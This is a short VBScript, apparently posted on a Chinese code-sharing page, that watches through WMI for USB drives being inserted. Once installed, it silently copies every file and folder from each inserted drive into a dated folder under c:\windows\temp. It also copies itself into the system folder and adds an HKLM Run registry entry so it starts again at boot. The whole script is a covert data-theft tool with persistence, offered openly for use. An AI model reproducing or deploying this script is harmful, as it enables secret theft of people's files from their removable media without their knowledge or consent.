rem ###################################### rem 2006-4-27 郭拉 rem 可以自动运行,将USB磁盘文件,自动复制到 rem 指定目录c:\windows\temp\当前日期 rem rem #######################################}
strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery _ ("Select * From __InstanceOperationEvent Within 10 Where " _ & "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
dim usbdriver Set objEvent = colEvents.NextEvent If objEvent.TargetInstance.DriveType = 2 Then Select Case objEvent.Path_.Class Case "__InstanceCreationEvent" rem Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _ rem " has been added." usbdriver=objEvent.TargetInstance.DeviceId
rem Set colDrives = objWMIService.ExecQuery _ rem ("Select * From Win32_LogicalDisk Where DriveType = 2")
rem For Each objDrive in colDrives rem usbdriver = objDrive.DeviceID rem Wscript.Echo "Drive letter: " & usbdriver rem Next
set fso = CreateObject("Scripting.FileSystemObject") dim n set n = CreateObject("WScript.Shell") set dir = fso.GetSpecialFolder(1) fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs") dim write set write = CreateObject("WScript.Shell") write.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs", "REG_SZ" dim filepath filepath=now() filepath=Replace(filepath,":",".") filepath="C:\windows\temp\" & filepath fso.CreateFolder(filepath) usbdriver=usbdriver & "\*" fso.CopyFile usbdriver ,filepath,True fso.CopyFolder usbdriver ,filepath,True
rem Case "__InstanceDeletionEvent" rem Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _ rem " has been removed." End Select End If Loop
|
请发表评论